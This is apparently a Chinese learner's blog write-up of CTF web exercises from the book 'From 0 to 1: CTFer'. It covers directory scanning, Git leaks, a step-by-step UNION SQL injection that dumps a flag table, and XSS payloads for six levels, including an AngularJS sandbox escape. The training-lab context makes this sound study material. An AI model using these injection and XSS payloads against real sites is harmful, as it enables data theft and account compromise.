《从0到1:CTFer成长之路》- Web

 CTF / N1BOOK
被浏览

前言

这里是我做《从0到1:CTFer成长之路》上的题的一些记录。

本篇是 Web 篇。

Web 入门

常见的搜集

打开靶机发现啥也没有。因此需要我们进行信息搜集。

使用 dirsearch 一共扫到了这些文件和目录(注意扫描的频次,过高会导致扫不出来):

1
2
3
4
/index.php
/index.php~
/robots.txt
/.index.php.swp

先看一下 robots.txt,里面内容如下:

1
2
3
User-agent: *
Disallow:
/flag1_is_her3_fun.txt

访问 /flag1_is_her3_fun.txt,我们就能拿到 flag 的第一部分了。

接下来访问 /index.php~,拿到 flag 的第二部分。

最后把 /.index.php.swp 下载到本地,发现里面有这么一段代码:

1
<?php echo 'flag3:p0rtant_hack}';?> 

成功拿到 flag 第三部分,拼起来就是最终的 flag 了。

index.php 是常见的主页文件
index.php~ 是 gedit 编辑文件保存后的备份文件
.index.php.swp 是 vim 编辑文件后的缓存文件
robots.txt 告诉搜索引擎哪些文件希望让爬虫获取哪些不希望让它获取

粗心的小李

启动靶机以后直接就告诉你是 Git 泄露,我们直接使用工具 scrabble 把 .git 爬下来就行,发现一个 index.html,打开就能看到 flag 了。

正常来说,应该是先用 dirsearch 扫到 .git 文件夹后怀疑存在 Git 泄露再用工具下载。

SQL注入-1

启动靶机后直奔地址栏,发现注入点 /index.php?id=1 直接告诉你了,直接开整。

因为 id 是数字,且页面中有标题有正文,先构造 payload:1+ORDER+BY+2+--+,发现行不通,怀疑是字符型的了。

再试试 1'+ORDER+BY+2+--+,发现正常回显了,最后试出来共返回三个数据。

再构造 payload:'+UNION+SELECT+'aaa','bbb','ccc'+--+ 来确定是哪两个回显的,得知是后两个。

再构造 payload:'+UNION+SELECT+NULL,NULL,TABLE_NAME+FROM+information_schema.tables+WHERE+TABLE_SCHEMA=DATABASE()+--+,拿到数据库里的表名 fl4g

再构造 payload:'+UNION+SELECT+NULL,NULL,COLUMN_NAME+FROM+information_schema.columns+WHERE%20TABLE_NAME='fl4g'+--+,拿到表里的列名 fllllag

最后使用 payload:'+UNION+SELECT+NULL,NULL,fllllag+FROM+fl4g+--+,拿到最终的 flag。

Web进阶

XSS闯关

第一关

观察到 url 中有 ?username=xss,而网页中正好存在 welcome xss,猜测是直接替换。

payload: level1?username=<script>alert(1)</script>

第二关

一开始以为和第一关一样,但是没有用。

查看网页源代码后发现 document.getElementById('ccc').innerHTML= "Welcome " + escape(username);

username 定义时如果字符串中有 / 就会报错,于是想到注入点可以在变量定义那里 var username = 'xss';,闭合语句即可。

payload:level2?username=';alert(1);//,变量定义的语句变为 var username = '';alert(1);//';

第三关

这次先用第二关的 payload,然后直奔网页源代码,发现字符都被转义了。

var username = '\';alert(1);//'

但是莫名其妙的事情发生了,我直接 ?username='';alert(1);// 居然直接过了,看了源代码居然只转义了一个,var username = '\'';alert(1);//',就很迷,可能是后端写锅了?

神奇的 payload:level3?username='';alert(1);//,官方正解是写入标签 level3?username=<img src=233 onerror=alert(1)>

第四关

发现是自动跳转的网页,源代码里发现注入点是 jumpUrl,使用 JavaScript 伪协议来实现。

payload:level4?jumpUrl=javascript:alert(1)

第五关

直接提交发现不太行,观察源代码。

发现有 autosubmit action 两个参数,其中需要我们把 autosubmit 置 1,然后会跳转到 action 参数的链接。

比方说,有 level5?autosubmit=1&action=233,网站会跳转到 /233 上去。

于是再用 JavaScript 伪协议,得到 payload:level5?autosubmit=1&action=javascript:alert(1)

第六关

先随便试了一下,发现对输入进行了转义。

查看源代码后发现使用了 angular.js 模板引擎,就去稍微了解了一下。

angular.js 模板引擎分为 JiT 和 AoT 两种编译方式,Jit 保留了 Angular 的 {{}},在浏览器中由 JS 来动态解释,AoT 则是现在本地编译好,再上传到实际环境中。

实际测试发现是 JiT 形式的,且可更改的地方被 ng-app 所包裹。

试着写入模板 level6?username={{2*2}},回显是 welcome 4,源代码是 welcome {{2*2}},验证了之前的想法。

现在要想办法让 angular.js 解析的时候执行指定的命令如 alert,该怎么办呢?

上网查阅了资料,首先发现 angular.js 有对字符串解析为语句的函数 $eval,但 angular.js 有类似沙箱的机制,会对 $eval 的参数进行解析。

作为一个纯萌新,就开始观摩大佬的文章

然而东西有点多啊,得开新文章来专门讲一下了。。。

真的佩服这种代码审计的大佬,几万行的代码还要找出逻辑上的漏洞。

先放结论,更为细致的研究请等新文章吧。

payload:level6?username={{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}

这种题目是怎么敢只放在进阶的啊,只论 exp 不论原理了吗